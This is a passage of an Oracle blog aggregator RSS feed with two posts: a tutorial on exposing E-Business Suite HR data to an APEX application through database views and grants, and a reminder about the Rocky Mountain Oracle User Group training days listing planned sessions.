			<wfw:commentRss>http://www.oracle-base.com/blog/2012/02/03/chronicle/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>E-Business Suite and APEX integration using Views</title>
		<link>http://feedproxy.google.com/~r/DimitriGielisBlog/~3/i5aYl2SRKiY/e-business-suite-and-apex-integration_03.html</link>
		<comments>http://feedproxy.google.com/~r/DimitriGielisBlog/~3/i5aYl2SRKiY/e-business-suite-and-apex-integration_03.html#comments</comments>
		<pubDate>Fri, 03 Feb 2012 11:36:00 +0000</pubDate>
		<dc:creator>Dimitri Gielis</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://www.oracle-base.com/aggregator/?guid=ef85c088195ad688b1de4058b3a4da6f</guid>
		<description><![CDATA[Integrating APEX and EBS by using views is one of the easiest solutions (at first sight!).This is the first scenario, where I have an APEX application and I want to integrate with data sitting in EBS.Pre-requisites:APEX is installed in the same databas...]]></description>
			<content:encoded><![CDATA[<div class="separator" style="clear: both; text-align: center;"><a href="http://2.bp.blogspot.com/-Ab62tZx6tDw/TyqO6Q5pl0I/AAAAAAAAGQE/l5aNBPs7TYY/s1600/Screen+Shot+2012-02-02+at+14.25.48.png" imageanchor="1" style="clear: right; float: right; margin-bottom: 1em; margin-left: 1em;"><img border="0" height="136" src="http://2.bp.blogspot.com/-Ab62tZx6tDw/TyqO6Q5pl0I/AAAAAAAAGQE/l5aNBPs7TYY/s320/Screen+Shot+2012-02-02+at+14.25.48.png" width="320" /></a></div>Integrating APEX and EBS by using views is one of the easiest solutions (at first sight!).<br /><br />This is the first scenario, where I have an APEX application and I want to integrate with data sitting in EBS.<br /><br />Pre-requisites:<br /><ul><li>APEX is installed in the same database as EBS (see <a href="http://dgielis.blogspot.com/2012/01/e-business-suite-and-apex-installation.html" >previous post</a>).&nbsp;</li><li>My APEX application (actually Workspace) is linked to my own (non-EBS) Oracle schema.</li></ul>If you want&nbsp;to view&nbsp;data coming from EBS&nbsp;in your APEX application, follow these steps:<br /><ol><li><b>Identify where the data is in EBS</b><br /><br />If you are not familiar with the data model of EBS, it can be hard to find the right information. A good starting point would be the&nbsp;APPS schema, because that has access to the complete Oracle E-Business Suite data model. You can compare it with the SYSTEM schema, which has access to the entire database.<br /><br />This pictures shows an overview of the APPS schema and base product schemas.<br /><br /><a href="http://1.bp.blogspot.com/-6bJFSFxd03k/TyqTiOUO9uI/AAAAAAAAGQQ/ZMf95w40l0Y/s1600/cg_ch3_schema.gif" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://1.bp.blogspot.com/-6bJFSFxd03k/TyqTiOUO9uI/AAAAAAAAGQQ/ZMf95w40l0Y/s1600/cg_ch3_schema.gif" /></a><br /><br />You can read more about the APPS schema in the <a href="http://docs.oracle.com/cd/E18727_01/doc.121/e12841/T120505T120510.htm" >EBS documentation</a>.<br /><br />In my example I wanted to find the people that are in my organisation (HR). I started to look for views that would give me that information. My first query was like this:<br /><br /><span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;">select object_name<br />&nbsp; from user_objects <br />&nbsp;where object_name like '%PEOPLE%' <br />&nbsp; &nbsp;and object_type = 'VIEW'<br />order by 1&nbsp;</span><br /><br />That query returned 82 rows in my environment. In the results I saw e.g. ADS_PEOPLE_V, HRBG_PEOPLE, PER_ALL_PEOPLE, PER_PEOPLE, PER_PEOPLE_F etc.<br /><br />I started to look at the definitions of those, but if you are not familiar with EBS it's hard to know which one is the one you need. So my recommendation would definitely be; when you are not that familiar with EBS, talk with somebody who knows more about it. For me that is the case, I only started to look into EBS and actually do something with it, a few weeks ago.<br /><br />When I talked to somebody more experienced in EBS, he told me I probably wanted to look at PER_ALL_PEOPLE_F. Hmm, that wasn't in the result set of the above query. After investigating a bit more PER_ALL_PEOPLE_F is a synonym for HR.PER_ALL_PEOPLE_F.<br /><br />I wanted to understand the naming convention in EBS a bit better e.g. for the PER%PEOPLE% objects. <br /><br /><a href="http://4.bp.blogspot.com/-R1ZmkaAGnRA/Tyu7_j6Mn0I/AAAAAAAAGQc/93DO5a4k-ME/s1600/per_people.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="400" src="http://4.bp.blogspot.com/-R1ZmkaAGnRA/Tyu7_j6Mn0I/AAAAAAAAGQc/93DO5a4k-ME/s400/per_people.png" width="296" /></a><br /><br />Below I created a table how I interpret the EBS objects:<br /><br /><table border="0" cellpadding="2" cellspacing="2" style="text-align: left; width: 100%;"><tbody><tr><td style="font-weight: bold; vertical-align: top;">View /Synonym (^)</td><td style="font-weight: bold; text-align: right; vertical-align: top;">count(*)</td><td style="font-weight: bold; text-align: right; vertical-align: top;">count(distinct person_id)</td><td style="font-weight: bold; vertical-align: top;">Interpretation</td></tr><tr><td style="font-weight: bold; vertical-align: top;">per_all_people_f (^)</td><td style="text-align: right; vertical-align: top;">32295</td><td style="text-align: right; vertical-align: top;">18518</td><td style="vertical-align: top;">Synonym to real HR table</td></tr><tr><td style="font-weight: bold; vertical-align: top;">per_all_people</td><td style="text-align: right; vertical-align: top;">0</td><td style="text-align: right; vertical-align: top;">0</td><td style="vertical-align: top;">Needs EBS session (record inFND_SESSIONS) so it knows what you can see</td></tr><tr><td style="font-weight: bold; vertical-align: top;">per_all_people_d</td><td style="text-align: right; vertical-align: top;">32295</td><td style="text-align: right; vertical-align: top;">18518</td><td style="vertical-align: top;">All records but showstranslated text if user settings are applied</td></tr><tr><td style="font-weight: bold; vertical-align: top;">per_people</td><td style="text-align: right; vertical-align: top;">0</td><td style="text-align: right; vertical-align: top;">0</td><td style="vertical-align: top;">Needs EBS session, showseffective records based on user's date</td></tr><tr><td style="font-weight: bold; vertical-align: top;">per_people_f</td><td style="text-align: right; vertical-align: top;">32295</td><td style="text-align: right; vertical-align: top;">18518</td><td style="vertical-align: top;">EBS security implemented, youonly see records you are allowed to see </td></tr><tr><td style="font-weight: bold; vertical-align: top;">per_people_v</td><td style="text-align: right; vertical-align: top;">0</td><td style="text-align: right; vertical-align: top;">0</td><td style="vertical-align: top;">Needs EBS Session, includes alot of display text and is language dependend</td></tr><tr><td style="font-weight: bold; vertical-align: top;">per_people_x</td><td style="text-align: right; vertical-align: top;">18518</td><td style="text-align: right; vertical-align: top;">18518</td><td style="vertical-align: top;">EBS security implemented (sameas per_people_f), but limits to only the effective records <br />(WHERE TRUNC(SYSDATE) BETWEEN EFFECTIVE_START_DATE ANDEFFECTIVE_END_DATE)</td></tr></tbody></table><br />So to me PER_PEOPLE_X looks like a good candidate to use in my APEX application. If I'm not logged into the app as an E-Business user I still see all records that are effective at the time I run the query.<br /><br /></li><li>Create a view on top of the EBS views and use some naming conventions so it's easy to recognise which objects you created and are not native EBS ones.<br /><br /><span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;">create view apex_per_people_vw as select * from per_people_x<br /><br /></span></li><li>Grant access on that view to the schema that is linked to your APEX workspace and application<br /><br /><span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;">grant select on apex_per_people_vw to apex_ebs<br /><br /></span></li><li>Create a view in your own schema that selects everything from the view in the apps schema.<br />We do that so that the views are a one-on-one mapping between schema's, but they show up in the APEX wizards.<br /><br /><span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;">create view apex_per_people_vw as select * from apps.apex_per_people_vw<br /><br /></span></li><li>Create an Interactive Report on top of the view<br /><br /><span class="Apple-style-span" style="color: #0000ee;"><img border="0" height="339" src="http://3.bp.blogspot.com/-5KlCUSe3KHU/TyvFHoLZ-1I/AAAAAAAAGQo/CwWmGdJmpzY/s640/report.png" width="640" /></span></li></ol><div>This first examples shows how you can view data from EBS in your own APEX application. We can now create a calendar, charts etc. in APEX based on the data coming from EBS. In the next post I will show how you can edit this data.</div><div><br /></div><div><span class="Apple-style-span" style="color: #191919; font-family: Verdana, sans-serif; font-size: 12px;">Previous related posts:</span><span class="Apple-style-span" style="color: #191919; font-family: Verdana, sans-serif; font-size: 12px;"><br /></span><br /><ul style="color: #191919; font-family: Verdana, sans-serif; font-size: 12px; line-height: 1.4em; list-style-type: none; padding-left: 32px;"><li style="background-attachment: initial; background-clip: initial; background-color: initial; background-image: url(http://dgielis.gg-design.be/blog/icon_list_item.gif); background-origin: initial; background-position: 0% 3px; background-repeat: no-repeat no-repeat; padding-bottom: 4px; padding-left: 17px; padding-right: 0px; padding-top: 0px;"><a href="http://dgielis.blogspot.com/2012/02/e-business-suite-and-apex-integration.html" >E-Business Suite and APEX integration (overview)</a></li><li style="background-attachment: initial; background-clip: initial; background-color: initial; background-image: url(http://dgielis.gg-design.be/blog/icon_list_item.gif); background-origin: initial; background-position: 0% 3px; background-repeat: no-repeat no-repeat; padding-bottom: 4px; padding-left: 17px; padding-right: 0px; padding-top: 0px;"><a href="http://dgielis.blogspot.com/2012/01/e-business-suite-and-apex-installation.html" style="color: #666666;" >E-Business Suite and APEX installation</a></li><li style="background-attachment: initial; background-clip: initial; background-color: initial; background-image: url(http://dgielis.gg-design.be/blog/icon_list_item.gif); background-origin: initial; background-position: 0% 3px; background-repeat: no-repeat no-repeat; padding-bottom: 4px; padding-left: 17px; padding-right: 0px; padding-top: 0px;"><a href="http://dgielis.blogspot.com/2012/01/apex-and-e-business-suite-integration.html" style="color: #666666;" >APEX and E-Business Suite integration</a>&nbsp;(OBUG event)</li></ul></div><div class="blogger-post-footer"><img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/21122514-8372726233805719994?l=dgielis.blogspot.com' alt='' /></div><div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/DimitriGielisBlog?a=i5aYl2SRKiY:FSB2bBSY4U4:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/DimitriGielisBlog?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/DimitriGielisBlog?a=i5aYl2SRKiY:FSB2bBSY4U4:63t7Ie-LG7Y"><img src="http://feeds.feedburner.com/~ff/DimitriGielisBlog?d=63t7Ie-LG7Y" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/DimitriGielisBlog?a=i5aYl2SRKiY:FSB2bBSY4U4:dnMXMwOfBR0"><img src="http://feeds.feedburner.com/~ff/DimitriGielisBlog?d=dnMXMwOfBR0" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/DimitriGielisBlog?a=i5aYl2SRKiY:FSB2bBSY4U4:7Q72WNTAKBA"><img src="http://feeds.feedburner.com/~ff/DimitriGielisBlog?d=7Q72WNTAKBA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/DimitriGielisBlog?a=i5aYl2SRKiY:FSB2bBSY4U4:V_sGLiPBpWU"><img src="http://feeds.feedburner.com/~ff/DimitriGielisBlog?i=i5aYl2SRKiY:FSB2bBSY4U4:V_sGLiPBpWU" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/DimitriGielisBlog?a=i5aYl2SRKiY:FSB2bBSY4U4:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/DimitriGielisBlog?d=qj6IDK7rITs" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/DimitriGielisBlog?a=i5aYl2SRKiY:FSB2bBSY4U4:KwTdNBX3Jqk"><img src="http://feeds.feedburner.com/~ff/DimitriGielisBlog?i=i5aYl2SRKiY:FSB2bBSY4U4:KwTdNBX3Jqk" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/DimitriGielisBlog?a=i5aYl2SRKiY:FSB2bBSY4U4:l6gmwiTKsz0"><img src="http://feeds.feedburner.com/~ff/DimitriGielisBlog?d=l6gmwiTKsz0" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/DimitriGielisBlog?a=i5aYl2SRKiY:FSB2bBSY4U4:gIN9vFwOqvQ"><img src="http://feeds.feedburner.com/~ff/DimitriGielisBlog?i=i5aYl2SRKiY:FSB2bBSY4U4:gIN9vFwOqvQ" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/DimitriGielisBlog?a=i5aYl2SRKiY:FSB2bBSY4U4:TzevzKxY174"><img src="http://feeds.feedburner.com/~ff/DimitriGielisBlog?d=TzevzKxY174" border="0"></img></a>
</div>]]></content:encoded>
			<wfw:commentRss>http://dgielis.blogspot.com/feeds/8372726233805719994/comments/default</wfw:commentRss>
		<slash:comments>0</slash:comments>
<enclosure url="" length="" type="" />
		</item>
		<item>
		<title>RMOUG</title>
		<link>http://jonathanlewis.wordpress.com/2012/02/03/rmoug/</link>
		<comments>http://jonathanlewis.wordpress.com/2012/02/03/rmoug/#comments</comments>
		<pubDate>Fri, 03 Feb 2012 09:40:51 +0000</pubDate>
		<dc:creator>Jonathan Lewis</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://jonathanlewis.wordpress.com/?p=8373</guid>
		<description><![CDATA[Just a quick reminder that the Rocky Mountain Oracle User Group Training days are just eleven days away. It&#8217;s one of the best Oracle events I&#8217;ve attended, and I&#8217;ll be there again this year. There are plenty of good speakers and interesting presentations on a wide range of topics &#8211; and if you&#8217;re wandering around [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=jonathanlewis.wordpress.com&#38;blog=491988&#38;post=8373&#38;subd=jonathanlewis&#38;ref=&#38;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>Just a quick reminder that the Rocky Mountain Oracle User Group <em><strong><a href="http://www.rmoug.org/training.htm">Training days</a></strong></em> are just eleven days away. It&#8217;s one of the best Oracle events I&#8217;ve attended, and I&#8217;ll be there again this year. There are plenty of good speakers and <em><strong><a href="http://www.technicalconferencesolutions.com/pls/caat/caat_abstract_reports.schedule?conference_id=99">interesting presentations</a></strong></em> on a wide range of topics &#8211; and if you&#8217;re wandering around between sessions with nothing to do, I&#8217;ll be around too and will be happy to say hello and have a chat.</p>
<p>Here&#8217;s the list of things I&#8217;ve pencilled in on my timetable so far. (Some of the gaps are there because I&#8217;m doing three presentations myself, some are there because I haven&#8217;t decided what to see yet.)</p>
<table border="0" cellspacing="0" cellpadding="4">
<tbody>
<tr>
<td valign="top" width="6%">Wednesday</td>
<td valign="top" width="4%">9:15</td>
<td valign="top" width="55%">Database I/O Performance: Measuring and Planning &#8211; Alex Gorbachev, Pythian</td>
</tr>
<tr>
<td valign="top" width="6%"></td>
<td valign="top" width="4%">10:45</td>
<td valign="top" width="55%">Parallel Execution in RAC &#8211; Riyaj Shamsudeen, OraInternals</td>
</tr>
<tr>
<td valign="top" width="6%"></td>
<td valign="top" width="4%">16:00</td>
<td valign="top" width="55%">Making Sense of Big Data &#8211; Gwen Shapira, Pythian</td>
</tr>
<tr>
<td valign="top" width="6%">Thursday</td>
<td valign="top" width="4%">8:30</td>
<td valign="top" width="55%">Developing and Deploying Extremely Large Databases with Oracle 11gR2 &#8211; Daniel Morgan, Morgan&#8217;s Library</td>
</tr>
<tr>
<td valign="top" width="6%"></td>
<td valign="top" width="4%">9:45</td>
<td valign="top" width="55%">Mining the AWR Repository for Capacity Planning, Visualization, and other Real World Stuff &#8211; Karl Arao, Enkitec</td>
</tr>
<tr>
<td valign="top" width="6%"></td>
<td valign="top" width="4%">13:30</td>
<td valign="top" width="55%">Using Oracle Execution Plans for Performance Gains &#8211; Janis Griffin, Confio Software</td>
</tr>
</tbody>
</table>
<p>If nothing else catches your eye, don&#8217;t miss out the opportunity to hear Maria Colgan talking about the optimizer. She&#8217;s doing three presenations (and only one of them coincides with one of mine) and they&#8217;re all worth hearing.</p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/jonathanlewis.wordpress.com/8373/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/jonathanlewis.wordpress.com/8373/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/jonathanlewis.wordpress.com/8373/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/jonathanlewis.wordpress.com/8373/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/jonathanlewis.wordpress.com/8373/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/jonathanlewis.wordpress.com/8373/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/jonathanlewis.wordpress.com/8373/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/jonathanlewis.wordpress.com/8373/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/jonathanlewis.wordpress.com/8373/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/jonathanlewis.wordpress.com/8373/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/jonathanlewis.wordpress.com/8373/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/jonathanlewis.wordpress.com/8373/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/jonathanlewis.wordpress.com/8373/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/jonathanlewis.wordpress.com/8373/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=jonathanlewis.wordpress.com&amp;blog=491988&amp;post=8373&amp;subd=jonathanlewis&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://jonathanlewis.wordpress.com/2012/02/03/rmoug/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
<enclosure url="http://0.gravatar.com/avatar/08b4eccce68cd521b54671abb0442ae1?s=96&amp;amp;d=http://0.gravatar.com/avatar/ad516503a11cd5ca435acc9bb6523536?s=96&amp;amp;r=G" length="" type="" />
		</item>
	</channel>
</rss>

